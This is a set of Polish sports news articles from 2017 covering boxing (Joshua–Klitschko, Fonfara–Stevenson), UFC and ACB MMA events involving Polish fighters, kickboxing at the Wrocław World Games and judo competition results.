29 kwietnia br. na stadionie Wembley w Londynie zasiadło 90 tysięcy kibiców, a miliony przed telewizorami w napięciu śledziły starcie o prymat w wadze ciężkiej. Nie brakowało obaw, że pojedynek Joshuy z Kliczko może rozczarować. Bo te największe walki niosą ze sobą ryzyko kalkulacji, co często zabija widowisko i pozbawia go elementu napięcia. Tym razem było inaczej. Joshua i Kliczko stworzyli widowisko, które przeszło do historii boksu. To najlepsza z możliwych reklam pięściarstwa w XXI wieku. Po tym starciu 27-letni Brytyjczyk może chwalić się pasami mistrza świata WBA, IBF i IBO.

Ogromne emocje, prawdziwy bokserski spektakl. W piątej rundzie wielki mistrz Kliczko padł na deski. Młodszy Joshua swoim wigorem i siłą zbliżał się do zwycięstwa, ale w kolejnej odsłonie Ukrainiec wystrzelił i rywal był liczony. W jedenastej rundzie potężny podbródkowy Brytyjczyka rozstrzygnął losy walki.

Chciałoby się powiedzieć, a właściwie krzyknąć: więcej! Będzie! Wszystko wskazuje, że dojdzie do rewanżowego starcia Joshuy z Kliczko. Wiele zależało od decyzji federacji WBA i IBF. Obowiązkowym pretendentem do pasa tej drugiej organizacji jest Kurbat Pulew. Jednak Bułgar musi poczekać…

Jesienną porą

Starcie musiałoby się odbyć jesienią, gdyż do 2 grudnia zwycięzca mistrzowskiego pojedynku musi spotkać się z Kubratem Pulewem. Najprawdopodobniejszym terminem wydaje się przełom września i października. W grę wchodzi kilka lokalizacji. Mówi się, że walka mogłaby się odbyć nawet w… Nigerii. Inne propozycje to m.in. Chiny i USA.

Podstawowe pytanie, czy na rewanż przystanie Kliczko. Porażka z kwietniowym starciu z Joshuą sprawiła, że coraz głośniej mówiło się o zakończeniu kariery przez byłego czempiona wagi ciężkiej. Jednak obaj stworzyli na Wembley widowisko z najwyższej półki. Kliczko zanotował drugą porażkę z rzędu, ale może podjąć jeszcze jedną próbę. Nic nie traci, bo wszystko już zdobył i jest legendą. A kibice chętnie zobaczyliby drugą część pasjonującej historii Joshua vs Kliczko. Czas na negocjacje. 

KM

Held wraca do Polski, wystąpi na UFC w Gdańsku

21 października Marcin Held stoczy swoją czwartą walkę w UFC. Polski lekki zaprezentuje się na gali w Gdańsku.

Początek przygody Marcina Helda w UFC miał wyglądać zupełnie inaczej. 25-letni zawodnik przegrał trzy walki, jednak dostanie kolejną szansę. W Gdańsku będzie rywalizował o pierwszy triumf w amerykańskiej organizacji.

Ostatnia szansa

W Gdańsku Held będzie musiał wspiąć się na wyżyny. Nie ma, co ukrywać, że jego sytuacja w UFC nie wygląda kolorowo. Po trzech porażkach, ocena jego występów wydaje się jednoznaczna. W starciu z Joe Lauzonem Polak pokazał się z dobrej strony i w ocenie wielu był lepszy od Amerykanina, ale sędziowie podjęli inną decyzję. Występ w Sztokholmie, UFC 109, przez dwie rundy układał się po myśli Helda. Jednak w trzeciej rundzie nadział się na kolano Damira Hadzovicia i po upływie zaledwie kilku sekund nie był w stanie kontynuować rywalizacji.

Można zwrócić uwagę, że tyszaninowi nieco brakuje do pierwszego zwycięstwa i pełni szczęścia, błogich chwil radości. Jest o krok, jednak cały czas daleko. Bo nikt nie będzie patrzył na to jak prezentował się Held, lecz czy wygrał. Polak podpisał kontrakt na cztery walki w UFC, jednak po porażce z Hadzoviciem zrobiło się gorąco. Nie brakowało domysłów na temat zakończenia przygody 25-latka z UFC. Wróżby te okazały się przedwczesne. Na kolejną walkę Helda trzeba jeszcze poczekać, ale zobaczymy go w kraju. – Dobra wiadomość dla wszystkich moich fanów! Ostatnią walkę w Polsce stoczyłem w czerwcu 2010r. Teraz będzie kolejna okazja , ponieważ…….. widzimy się na UFC w Gdańsku! – poinformował Marcin Held. 

Czas płynie nieubłaganie. Marcin Held ostatni raz wystąpił na krajowym podwórku siedem lat temu. W czerwcu 2010 roku uporał się przed czasem z Jeanem Silvą. Od tamtego czasu stoczył 19 walk, zdążył rywalizował o tytuł mistrzowski w Bellatorze i zyskać angaż w UFC.

Czekamy na Gdańsk!

Ponad dwa lata temu UFC zawitało do Krakowa. Gali UFC Fight Night 64 towarzyszyła wyjątkowa aura, bo w końcu na polskiej ziemi pojawili się najlepsi fighterzy globu. W walce wieczoru Mirko Filipović uporał się w trzeciej rundzie z Gabrielem Gonzagą. W Krakowie zaprezentowało się siedmiu Polaków, jednak tylko dwóch cieszyło się z końcowego triumfu.

Do gali w gdańskiej Ergo Arenie jeszcze cztery miesiące. Z każdym dniem temperatura będzie rosła. Trwa oczekiwanie na głównych aktorów widowiska. Pojawiają się informacje, że w Gdańsku pasa w kategorii słomkowej będzie broniła Joanna Jędrzejczyk. Na konkrety trzeba poczekać. Obecnie wiemy, że w oktagonie możemy spodziewać się Marcina Helda. Cierpliwie czekamy na kolejne nazwiska.

KM 

Poznajemy sport od kulis – sportowiec jako marka.

W ciągu ostatnich trzydziestu lat mamy do czynienia z ewolucją postrzegania w społeczeństwie sportowców i samego sportu. Dawniej uprawianie sportu było traktowane jako hobby na weekendowe popołudnie. Obecnie dzięki swojej atrakcyjności marketingowej, zawodowe uprawie sportu staje się dla wielu młodych ludzi sposobem na życie.

Personal branding po polsku oznacza budowanie marki osobistej. Dzięki temu zyskujemy na ryku pracy lepszą pozycję, poszerzamy kontakty w branży i jesteśmy rozpoznawalni. Budowanie własnej marki może wydawać się trudne. Ludzie nie zwykli o sobie myśleć jak o produkcie, jakim na rynku jest np. sala  konferencyjna pod warszawą. O zaletach jakie niesie za sobą budowanie własnej marki osobistej szybko przekonali się politycy, sportowcy, pracownicy edu tree, ludzie nauki i sztuki itd. Jeżeli chodzi o sportowców to dostrzegli oni konieczność pracy nad swoim wizerunkiem w momencie, gdy sportem zainteresowały się duże korporacje i zaczęły wykładać ogromne pieniądze na kluby sportowe oraz samych zawodników. W chwili obecnej wśród marketingowców używa się terminu marketing sportowy dla określenia wszelkich działań związanych z promocją w sporcie i przez sport. Jeżeli chcemy dokładnie zdefiniować czym jest marketing sportowy, musimy taką definicję podzielić na dwa obszary. Pierwszy z nich dotyczy promowania produktów lub usług związanych ze sportem np. koszulki, kubki, buty, czapeczki i wszelkie inne gadżety dla kibiców. W drugim obszarze znajdują się produkty nie związane bezpośrednio ze sportem, a mające na celu zakodowanie w umysłach odbiorców wzajemnych powiązań między produktem a sportem np. jedna z sieci komórkowych sponsoruje Polską Reprezentację Siatkówki, dzięki czemu jej logo jest widoczne podczas każdego meczu, a firma może wykorzystywać siatkarzy w swojej kampanii reklamowej. Sukcesy sportowców przekładają się na obopólny zysk i są powodem do chwały. Kibice również identyfikują się z tym sukcesem i są bardziej skłonni kupować produkty reklamowane przez ich sportowych idoli. Uprawianie sportu zawodowo jest w dzisiejszych czasach kosztowne. Odczuwają to w szczególności reprezentanci sportów indywidualnych, jak np. początkujący tenisiści. W początkach swojej kariery trudno im zdobyć fundusze na wynajem kortu do treningu, opłacenie trenera, wyjazdy zagraniczne na turnieje itd.

W przypadku budowania marki osobistej u sportowca ważne jest, aby jego wizerunek opierał się  przede wszystkim na jego dokonaniach sportowych. Nie musi to oznaczać bycia grzecznym i dobrze ułożonym w życiu osobistym. Przykładem mogą tu być bokserzy, którzy najczęściej rekrutują się z „ulicznych zabijaków”.

Czekają na wrocławskie igrzyska

Małgorzata Dymus (56kg), Marta Waliczek (60kg) i Róża Gumienna (65kg)  – powalczą o medale w kickboxingu dla Polski podczas zbliżającej się X edycji Igrzysk Sportów Nieolimpijskich – The World Games 2017 we Wrocławiu. Impreza odbędzie się w dniach 20-30 lipca.

Kilka lat temu prowadzono ogólnoświatową zbiórkę podpisów pod petycją, której celem było wprowadzenie kickboxingu na letnie Igrzyska Olimpijskie. „Kropla drąży skałę”. Kickboxing na World Games 2017 to krok w dobrą stronę. Liczymy na efektowne walki i medale Polaków, a także na wzrost popularności dyscypliny i jej dotarcie „pod strzechy”. A później już tylko igrzyska. Trzeba wierzyć!

Krok w stronę salonów

Wielka arena, tysiące kibiców, błysk fleszy i zaczęli. Ruszyli. Walczą, ogromne emocje, wspaniałe akcje i wysoka stawka rywalizacji. Kickboxing to niezwykle efektowna sztuka walki, która stopniowo przebija się do świadomości społecznej. Do coraz większego grona odbiorców w Polsce docierają gale, na których zawodnicy rywalizują w formule K-1. Ale nadal potrzebna jest ciężka praca, aby kickboxing zagościł nie tyle w sercach ludzi, co początkowo było rozpoznawalny. Milowym krokiem na drodze do tego celu mają być Igrzyska Sportów Nieolimpijskich – The World Games 2017. Do Wrocławia przyjadą setki kibiców żądnych sportowych wrażeń. Również Polacy będą mogli odkryć dyscypliny, o których nigdy nie słyszeli albo wiedzą, że coś dzwoni, ale nie wiedzą, w którym kościele.

Kickboxing. W każdej kategorii wagowej wystąpi po osiem zawodniczek i zawodników. Margines błędu jest niewielki, a tak naprawdę nie ma miejsca na najmniejszą pomyłkę. Zwycięstwo daje awans do półfinału. Trzy triumfy pozwolą sięgnąć złoty medal. W każdej sekundzie zawodnik musi być w pełni skoncentrowany. Trudno będzie wcześniej rozpracować rywali. Bo o ile biało-czerwoni znają tych z Europy, to gorzej jest w przypadku zawodników pochodzących z innych kontynentów. Jednak należy podkreślić, że umiejętności Polaków stoją na wysokim poziomie.

Trzy waleczne panie

We Wrocławiu zaprezentują się trzy reprezentantki Polski. Na swojej ziemi wystąpi 28-letnia Róża Gumienna, która tylko w tym roku triumfowała w Pucharze Świata K-1 w Inssbrucku i wywalczyła pas mistrzyni FEN w wadze piórkowej. We Wrocławiu zaprezentuje się również kolejna reprezentantka miejscowego Fightera Małgorzata Dymus (56kg). Na swoim koncie zapisała m.in. tytuł zawodowej mistrzyni świata w K-1 federacji WAKO PRO 2013 w Turcji, mistrzostwo Europy seniorów w K-1 WAKO 2016 i wiele medali mistrzostw Polski. Ostatnio rywalizowała na gali Ladies Fight Night w Poznaniu. 

W tym roku Marta Waliczek (60kg) dołączyła do klubu DAAS Berserkers Team Bielsko-Biała. Krok ten ma ją przygotować do startu we Wrocławiu, a także występów w formule MMA. W tym roku Waliczek zdobyła w LEgnicy mistrzostwo Polski K-1. Pierwszy znaczący sukces zawodniczka odniosła w 2011 roku, kiedy w Skopje wywalczyła tytuł mistrzyni świata w kick-light. Od tamtego czasu regularnie zdobywa medale na najważniejszych imprezach. 

W lipcowych Igrzyskach Sportów Nieolimpijskich Polskę w rywalizacji kickboxerskiej będą również reprezentować: Marcin Kret (71kg), Michał Ronkiewicz (75kg), Arkadiusz Kaszuba (81kg), Dawid Kasperski (86kg), Mateusz Pluta (91kg) i Michał Turyński (+91kg).

Fot. PZKb Facebook

KM

Kowalkiewicz o przyczynach porażki z Gadelhą

Karolina Kowalkiewicz musiała przełknąć gorzką pigułkę w Rio de Janeiro. 31-letnia łodzianka docenia klasę swojej rywalki i przeprasza kibiców.

Dla polskiej wojowniczki była to druga porażka w karierze, a zarazem kolejny przegrany pojedynek w UFC. Wcześniej Kowalkiewicz poległa w starciu o pas z Joanną Jędrzejczyk. 

Trudna sytuacja

Dla Karolina Kowalkiewicz to zupełnie nowa sytuacja, w której musi się odnaleźć. Przed ponad cztery lata pozostawała niepokonana w MMA, jednak w listopadzie ubiegłego roku przegrała z Joanną Jędrzejczyk. W sobotę (3 czerwca) rywalizowała o pierwsze miejsce w wadze słomkowej i kolejną szansę na walkę o pas. Gadelha szybko wykorzystała swoje atuty. W parterze szybko zdobyła plecy Kowalkiewicz i ta musiała odklepać. Miało być inaczej. – Smutek, żal, złość, gniew, rozczarowanie-nie ma odpowiednich słów żeby opisać to co teraz czuję… Kocham to co robię, kocham MMA i nic tego nie zmieni, będę trenowała i walczyła dalej, i zapewniam Was, że do kolejnej walki wyjdę jak zawsze, uśmiechnięta – napisała Karolina Kowalkiewicz na swoim facebooku.

Polka docenia klasę rywalki, która odniosła 15 zwycięstwa w karierze. 28-letnia Claudia Gadelha triumfowała po raz dziewiąty przed czasem. – Byłam naprawdę doskonale przygotowana do tego pojedynku i nie mam pojęcia co tam się stało. Po prostu Claudia była lepsza i to nie był mój dzień. Chciałam jej jeszcze raz bardzo pogratulować i podziękować za walkę. Jesteś niesamowitym sportowcem i wspaniałym człowiekiem i to był dla mnie zaszczyt, że mogłam się z Tobą zmierzyć. Dostałam cenną lekcję – wyjaśnia Kowalkiewicz.

Ważne wsparcie

31-letnia łodzianka musi szybko „oczyścić” głowę i czekać na kolejne wyzwania. Zawsze uśmiechnięta i energiczna zawodniczka jest w stanie pokonać chwilę słabości. Zwłaszcza, że może liczyć na swoich bliskich i wiernych kibiców. To oni zawsze trzymają kciuki, są z nią w każdej chwili. – Kiedyś walczyłam tylko dla siebie, teraz walczę też dla Was, dlatego chciałam bardzo przeprosić wszystkich tych, których zawiodłam. Chciałam przeprosić moich trenerów, kolegów z STT, przyjaciół, rodzinę i wszystkich fanów, i jednocześnie chciałam Wam podziękować za ogromne wsparcie jakie od Was dostaje. Jesteście niesamowici, a ja jestem ogromną szczęściarą ze Was mam – podkreśla Polka występująca w UFC.

Fot. Karolina Kowalkiewicz Facebook

KM

Perenc ze złotem, trójka naszych blisko podium

Triumf Agaty Perenc (52kg) w Pucharze Europy w judo w Bukareszcie. Trójka Polaków otarła się o podium. Urszula Hofman (70kg), Beata Pacut (78kg) i Maciej Sarnacki (+100kg) uplasowali się na piątych miejscach. Z kolei w Pucharze Europy Juniorów w Leibnitz biało-czerwoni sięgnęli po dwa medale.

Bukareszt miał być jednym z kluczowych punktów przed mistrzostwami świata, która na przełomie sierpnia i września odbędą się w Budapeszcie.

Mogło być więcej

Ostatni raz Agata Perenc na podium międzynarodowych zawodów stała ponad rok temu. W Grand Prix w Ałmatach zajęła trzecie miejsce. 27-letnia judoczka przeżyła wyjątkowe chwile w Bukareszcie. W dwóch pierwszy walkach Perenc rozłożyła rywalki na łopatki i wygrała przed czasem. Polka pokonała Abbi Blackie i Roxanę Ioancę. W półfinale Perenc poprzeczkę wysoko zawiesiła Niemka Nieke Nordmeyer, jednak to judoczka Polonii Rybnik świętowała awans do rywalizacji o złoto. Tam czekała na nią groźna Giulia Pierucci. 20-letnia Włoszka ostatnio wygrała zawody w Dubrovniku i Uster. Finał zacięty, jednak Perenc zapisała na swoim koncie waza-ari i to dało jej triumf.

Swoich sił w Bukareszcie mogła spróbować Urszula Hofman (70kg). Polka powtórzyła swój najlepszy wynik, który osiągnęła dwa lata temu w Celje i Orenburgu, gdzie zajmowała piąte miejsca. Rywalizację w Bukareszcie rozpoczęła od wygranej, ale w kolejnej walce przegrała z Gemmą Howell. W repasażach Hofman poradziła sobie z Włoszką Alessandrą Prosdocimo, jednak w boju o brąz pomściła ją rodaczka Carola Paissoni. Coraz pewniej poczyna sobie Beata Pacut (78kg). W tym roku wywalczyła srebro w Pucharze Europy w Pradze. Blisko medalu Polka była również w Bukareszcie, jednak marzenia o trzecim miejscu z głowy wybiła jej Yahima Ramirez. Wcześniej 21-letnia Polka zanotowała dwa zwycięstwa i porażkę.

Kolejny raz Maciej Sarnacki (+100kg) uplasował się na piątym miejscu. W kwietniowych mistrzostwach Europy w Warszawie Polak był o krok od podium. Bój o medal przegrał z mistrzem olimpijskim Lukasem Krpalkiem. W Bukareszcie Sarnacki zaczął od dwóch szybkich wygranych, ale w półfinale i walce o brąz zabrakło mu szczęścia.

Aleksander Beta (66kg) i Patryk Ciechomski (90kg) zakończyli zawody na siódmych pozycjach. 

Zabrakło tylko złota

Juniorzy wybrali się do Leibnitz i wywalczyli dwa medale. Do pełni szczęścia zabrakło tego z najcenniejszego kruszcu.

19-letnia Julia Kowalczyk w tym roku błysnęła już w rywalizacji seniorskiej. W Grand Slam w Baku zajęła trzecie miejsce, a później wystartowała w mistrzostwach Europy w Warszawie i zdobyła z kadrą srebrny medal. Leibnitz okazało się również szczęśliwe dla Polki. Kowalczyk wygrała trzy walki, jednak na półfinał zabrakło jej paliwa. Odrodziła się w starciu o brąz i pokonała Verę Zemanovą. 

Dominik Majowski (100kg) dotarł do finału, jednak nie udało mu się sprostać mistrzostw świata kadetów z 2015 roku. Simeon Catharina potrzebował blisko dwóch minut, aby pokonać Polaka.

KM

Szybko przerwane sny

Scenariusz był prosty: Karolina Kowalkiewicz i Andrzej Fonfara bohaterami pierwszego weekendu czerwca. Polka występująca w UFC miała wykonać krok w stronę kolejnej walki o pas mistrzowski w wadze słomkowej. Z kolei Fonfara marzył o tytule czempiona WBC w kategorii półciężkiej. „A miało być tak pięknie…”

Rio de Janeiro i Montreal nie są polskie. Nie udało się. Smutek, żal i rozczarowanie – takie uczucia najczęściej obecne są po porażkach. Kowalkiewicz i Fonfara muszą się z nich otrząsnąć i czekać na kolejne wyzwania.

Druga porażka z rzędu

Karolina Kowalkiewicz miała świetny start w UFC. W debiucie pokonała Randę Markos, a w kolejnych walkach uporała się z Heather Clark i Rose Namajunas. Nagrodą za dobrą postawę było starcie o mistrzostwo wagi słomkowej z Joanną Jędrzejczyk. Łodzianka starała się być równorzędną rywalką dla olsztynianki, ale po pięciu rundach musiała pogodzić się z porażką. Pierwszą w karierze. Przegrała z Jędrzejczyk, która na przestrzeni kilku miesięcy stała się gwiazdą UFC. Cieszyliśmy się, że mamy w najlepszej organizacji MMA na świecie kolejną zawodniczkę na wysokim poziomie.

Prawdziwym testem dla Kowalkiewicz miało być starcie na UFC 212 z Claudią Gadelhą. Groźną Brazylijką, która już dwa razy atakowała pas mistrzowski i Jędrzejczyk odprawiała ją z kwitkiem. Wywodząca się z jiu-jitsu Brazylijka w parterze potrafi wyczyniać cuda, ale Polka zapewniała, że dobrze przygotowała się do rywalizacji. – To będzie dobry dzień – pisała kilka godzin przed walką. Nie był.

Początek starcia wyglądał obiecująco. Kowalkiewicz trafiła rywalkę kilkoma ciosami prostymi, jednak ta szybko odpowiedziała. W klinczu Gadelha uderzyła Polkę łokciem, a następnie poszła po obalenie. Jak się okazało, był to początek kłopotów Kowalkiewicz. Gadelha wykorzystała swoje atuty i szybko poszła za plecy i zapięła duszenie. Po nieco ponad trzech minutach walki było po wszystkim. Kowalkiewicz musiała odklepać.

31-letnia Polka tym samym nie wywalczyła pierwszej pozycji w rankingu wagi słomkowej i perspektywa walki o pas oddaliła się. Teraz czeka ją ciężka praca nad odbudowaniem pozycji w UFC.  

Warto dodać, że w Rio doszło do starcia o pas wagi piórkowej. W trzeciej rundzie Max Holloway zastopował Jose Aldo.

Kolejna szansa niewykorzystana

Teraz czas na boks i „Polskiego Księcia”, który miał stać się królem. Historia układała się w bajeczną całość, ale szybko prysła niczym bańka mydlana. Bardzo szybko…

Na kolejne spotkanie z Adonisem Stevensonem, Andrzej Fonfara czekał trzy lata. Polak chciał się zrewanżować za porażkę w Montrealu. W drodze do kolejnego starcia o pas pokonał mocnych rywali m.in. Nathana Cleverly'ego i Chada Dawsona. Upłynęło nieco czasu, Stevenson postarzał się, a Fonfara nabrał doświadczenia. Wydawało się, że szybkość i zwrotność będą atutem „Polskiego Księcia”, jednak czempion WBC pokazał, że „stary wilk” potrafi.

Takiego scenariusza nikt się nie spodziewał, choć sam Stevenson otwarcie mówił, że dwunastu rund nie będzie. Już w pierwszej odsłonie, po początkowych atakach Polaka, mistrz wyprowadził lewy prosty. Fonfara zamroczony, sędzia musiał liczyć „Polskiego Księcia”. Stevenson dopadł go w narożniku, jednak 29-latka uratował gong. Kanadyjczyk urodzony na Haiti był zdeterminowany. Od początku drugiej rundy ruszył na Fonfarę i nie dał mu żadnych szans. Stevenson jak zaprogramowana maszyna wyprowadzał kolejne ciosy, masakrował Fonfarę i trener w końcu zdecydował się przerwać pojedynek. Upłynęło zaledwie 28 sekund…

Fonfara musi odłożyć plany na bok. Druga szansa mistrzowska przeszła mu koło nosa. Stevenson zaskoczył Polaka niczym Jose Smith Jr., z który Fonfara przegrał rok temu w pierwszej rundzie. Piąta porażka „Polskiego Księcia”, druga w starciu o pas. Czy dostanie kolejną szansę, aby stać się królem?

KM

Będzie UFC, ale najpierw ACB

Gdańsk będzie żył MMA. Najpierw ogłoszono, że 21 października w Ergo Arenie odbędzie się gala UFC. Ale zanim najlepsza organizacja MMA na świecie zawita do Gdańska, odwiedzi go federacja ACB. 1 lipca Rosjanie zaprezentują wydarzenie numer 63.

Na miesiąc przed galą zdecydowano o jej przeniesieniu. Pierwotnie gala ACB 63 miała odbyć się w Newcastle, ale w związku z zagrożeniem terrorystycznym na Wyspach Brytyjskich, podjęto decyzję o zmianie lokalizacji. Wybór padł na Gdańsk.

Piąty raz na polskiej ziemi

Pięć lat ma organizacja Absolute Championship Berkut i po raz piąty pojawi się w Polsce. Zaczęło się w Płocku, później była Warszawa, a następnie Olsztyn. W stolicy Warmii i Mazur władzom ACB bardzo się spodobało. Pierwszą galę zorganizowali we wrześniu ubiegłego roku, kolejną w lutym br. Na ACB 53 wystąpiło kilku Polaków. W walce wieczoru Adrian Zieliński pokonał na punkty Rasula Yakhayaeva. Tym samym 30-latek odniósł 17 zwycięstwo w karierze. Efektownie zaprezentował się Piotr Strus, który w drugiej rundzie odprawił Michaila Tsareva. Również Karol Celiński świętował zwycięstwo w Olsztynie. W drugiej rundzie w parterze zasypał ciosami Łukasza Parobca. Wygrał również Maciej Kaliński, który znalazł się w karcie wstępnej. Porażki zanotowali: Łukasz Szczerka, Rafał Czechowski, Jakub Wikłacz, Kamil Unruh, Paweł Karwowski i Patryk Wołodkiewicz.

ACB rozwija się i chce dołączyć do grona najlepszych. Rosyjska organizacja nie jest anonimowa, a zawodnicy zdobywają doświadczenie na jej galach, wydobywają się w okowów anonimowości i próbują swoich sił w UFC. Ostatnio Gadżuymrad Antigułow.

Również Polacy odgrywają pierwszoplanowe role na galach ACB. Michał Andryszak, Karol Celiński, Przemysław Misiała czy Piotr Strus to tylko niektórzy z wojowników pojawiających się na galach rosyjskiej organizacji. W marcu w Manchesterze zaprezentował się mistrz KSW w wadze średniej Mamed Khalidow, który w 21 sekund uporał się Lukiem Barnattem.

Będą u siebie

Zawodników z Polski nie brakuje na galach ACB, nie inaczej będzie i tym razem. W Gdańsku zaprezentuje się Karol Celiński, który szerszej publiczności dał się poznać podczas występów w KSW. 1 lipca rywalem Polaka będzie Vinny Magalhaes. Jeszcze blisko cztery lata temu Brazylijczyk rywalizował w UFC. Ostatnio można było go zobaczyć na WSOF 33, gdzie przegrał z Davidem Branchem.

W Ergo Arenie Piotr Strus będzie miał okazję, aby zrehabilitować się za porażkę na ACB 61 z Mikhailem Kolobegovem. Naprzeciw 28-latka stanie Andy DeVenta. Nie zabraknie również pojedynku polsko-polskiego. Debiut w klatce ACB zaliczy Piotr Hallmann, który ostatnio rywalizował na galach FEN. Jego rywalem będzie Adrian Zieliński.

Fot. acbmma.com

KM

Kowalkiewicz oczarowała Rio

Karolina Kowalkiewicz urzekła wszystkich swoją urodą i wdziękiem za sprawą zdjęć w bikini, które zamieściła w mediach społecznościowych. Czy po sobotnim (3 czerwca) starciu z Claudią Gadelhą, Rio de Janeiro będzie u stóp Polki?

Kolejne wyzwanie przed Karoliną Kowalkiewicz. Wygrana zapewni jej pierwszą pozycję w rankingu wagi słomkowej i da szansę na walkę o pas mistrzowski.

Zdobyć Rio

Obok tego zdjęcia nie można przejść obojętnie. Mężczyźni oszaleli na punkcie Karoliny Kowalkiewicz, która wrzuciła do sieci fotografię w bikini. Z pewnością trudno oderwać wzrok od zdjęcia urodziwej Polki. Męska część widowni została uraczona, ale Claudia Gadelha z tego powodu nie położy się przed Kowalkiewicz. Wiadomo, że Brazylijka może zazdrościć Polce urody, ale w oktagonie nie będzie ani krzty litości.

""Na gali UFC 212 31-letniej łodziance przyjdzie się zmierzyć z zawodniczką z absolutnego topu. Claudia Gadelha wywodzi się z jiu-jitsu i zapisała na swoim koncie tytuły mistrzyni świata. Brazylijka przyszła do UFC z myślą zdominowania kategorii słomkowej. W debiucie uporała się z Tiną Lahdemaki, następnie trafiła na Joannę Jędrzejczyk, z którą stworzyła fantastyczne widowisko. Phoenix okazało się szczęśliwe dla Polki, która niejednogłośnie pokonała rywalkę na punkty i utorowała sobie drogę do starcia o pas.

O tym, że Gadelha mierzy w tytuł wiedzieli wszyscy. Ponownie zestawiono ją z Jędrzejczyk, która króluje w wadze słomkowej. Brazylijka miała ambitne plany, ale zabrakło jej paliwa. Po trzech rundach wyglądała zdecydowanie słabiej od Jędrzejczyk, która wygrała decyzją sędziów. Podrażniona 28-latka w listopadzie pokonała Cortney Casey i teraz zmierzy się z kolejną Polką –  Karoliną Kowalkiewicz.

Co ciekawe, w Rio spotkają się zawodniczki, które podczas swojej przygody z MMA przegrywały tylko z… Jędrzejczyk. Kowalkiewicz ma na koncie jedną porażkę. W listopadzie na gali UFC 205 dostała szansę rywalizacji o pas. Na dystansie pięciu rund lepsza okazała się jednak mistrzyni.

W Rio należy spodziewać się interesującej walki. Spokojna, wyważona, ale i skuteczna Kowalkiewicz zmierzy się z agresywną i niebezpieczną Gadelhą. Zwyciężczyni wykona krok w stronę kolejnej walki o pas. Ta sytuacja pokazuje, że konkurencja w wadze słomkowej jest ograniczona. Jednak dla Kowalkiewicz to kolejna szansa, aby pokazać, że jej miejsce jest w UFC. Kibice muszą przygotować się na rywalizację na pełnym dystansie. Żadna z zawodniczek w przeciągu ostatnich trzech lat nie wygrała przed czasem.

Aldo na koniec

Rywalizacja Kowalkiewicz z Gadelhą poprzedzi walkę wieczoru, w której zmierzą się Jose Aldo i Max Holloway. Do pojedynku miało dojść na gali UFC 208, jednak Amerykanin doznał kontuzji stopy. O starciu Aldo z Holloway'em mówiło się już od dłuższego czasu.

Stawką walki wieczoru gali w Rio de Janeiro będzie tytuł mistrza wagi piórkowej. Aldo odzyskał pas pokonując Frankie'go Edgara. Zyskał możliwość walki o tytuł, po tym jak UFC odebrało go McGregorowi. Z kolei Holloway na UFC 206 zdobył tymczasowy pas wagi piórkowej. Amerykanin w trzeciej rundzie posłał na deski Anthony'ego Pettisa.

Czy to będzie powrót do chwały fenomenalnego Brazylijczyka? Aldo nie będzie miał łatwego zadania, Holloway wygrał dziesięć kolejnych walk.

Fot. Karolina Kowalkiewicz Facebook

KM

Druga szansa Fonfary

Po raz drugi Andrzej Fonfara dostąpi szansy rywalizacji o pas mistrzowski WBC w wadze półciężkiej. Rywal ten sam, co trzy lata temu – Adonis Stevenson. Zdaniem bukmacherów, zdecydowanym faworytem starcia, które odbędzie się 3 czerwca jest niespełna 40-letni czempion.

„Polski Książę” ma jeden cel – chce zrewanżować się Kanadyjczykowi za porażkę sprzed trzech lat. Zwycięstwo da mu pas mistrza świata i pozwoli spełnić marzenia. Czy ten scenariusz jest realny?

Trudne zadanie

Montreal to miasto, w którym Stevenson czuje się znakomicie. Blisko cztery lata temu w Bell Center wywalczył mistrzostwo świata WBC pokonując Chada Dawsona. Reprezentant Kanady potężnie doświadczył Amerykanina, który padł na deski już w otwierającej rundzie. Wstał, jednak sędzia nie dopuścił go do dalszej rywalizacji. 

W trzeciej obronie pasa urodzony na Haiti bokser zmierzył się w Montrealu z Andrzejem Fonfarą. Wydawało się, że walka zakończy się bardzo szybko. Już w pierwszej rundzie Polak znalazł się na deskach, jednak wstał i dotarł do gongu. Długo dominował Stevenson, jednak w siódmej odsłonie inicjatywę przejął Fonfara. W końcu 26-letni wtedy pięściarz miał swoją chwilę chwały i postraszył czempiona. Stevenson padł na deski w dziewiątej rundzie, ale w kolejnych prezentował się lepiej i wygrał decyzją sędziów.

Po ponad trzech latach panowie ponownie się spotkają. Tak jak i wtedy, faworytem będzie Stevenson. Fonfara ma większe doświadczenie i wypracował sobie mocną pozycję w wadze półciężkiej. Mimo to, czempion jest pewny swego. – Znam dobrze Fonfarę, bo walczyłem z nim dwanaście rund. On nie umie zmienić stylu. Być może poprawił się w obronie, ale po kilku rundach wrócą stare nawyki. Nie lekceważę go i będę należycie przygotowany – powiedział Adonis Stevenson.

Trzy lata temu Kanadyjczyk swoją słabszą dyspozycję i problemy tłumaczył kontuzją pleców. Wygrał, choć młodszy Fonfara go zaskoczył. 3 czerwca w Montrealu Stevenson trafi na dojrzalszego i w pełni ukształtowanego rywala. Fonfara będzie chciał zrealizować swoje marzenia, ale od początku musi się mieć na baczności. Wejście w walkę niejednokrotnie sprawiło problemy Polakowi.

Niespodziewana porażka

Po porażce ze Stevensonem, Fonfara z kwitkiem odprawił mocnych Julio Cesara Jr. i Nathana Cleverly'ego. Zarysował nieco swój obraz niespodziewaną porażką w starciu z Joe Smithem Jr. Amerykanin w pierwszej rundzie mocno przyłożył Polakowi, który nie był zdolny do kontynuowania walki. W marcu „Polki Książę” uporał się z byłym mistrzem WBC Chadem Dawnsonem.

Z kolei Stevenson, od wygranej z Fonfarą, triumfował w czterech walki. Trzy z nich zakończył przed czasem.

Fot. Facebook Andrzej Fonfara

KM

Luboń zaliczony, czas na Bukareszt

W Luboniu judocy rywalizowali o medale Pucharu Polski seniorek i seniorów. Najlepiej zaprezentowali się zawodnicy AZS AWF Warszawa. W najbliższy weekend (3-4 czerwca) reprezentanci Polski udadzą się do Bukaresztu, aby rywalizować w zawodach Pucharu Świata.

Po mistrzostwach Europy w Warszawie, najważniejszym startem dla naszych judoków są mistrzostwa świata, które na przełomie sierpnia i września odbędą się w Budapeszcie. Dla biało-czerwonych najbliższe miesiące będą czasem intensywnej pracy.

Warszawa dominuje

Trzy warszawskie kluby (AZS AWF Warszawa, AZS UW Warszawa i UKJ „Lemur” Warszawa) zdobyły siedem złotych medali w zawodach Pucharu Świata w Luboniu. Łącznie stołeczne zespoły wywalczyły 15 krążków. Na ten dorobek dodatkowo złożyły się zdobycze zawodników Gwardii, UKJ „ASzWoj Warszawa” i UKJ 225. W klasyfikacji medalowej triumfował AZS AWF, którego judocy zdobyli cztery złote (Joanna Stankiewicz, Gaga Szetekauri, Radosław Koszczyński, Oleksii Lysenko) oraz brąz (Jakub Ozimek). 

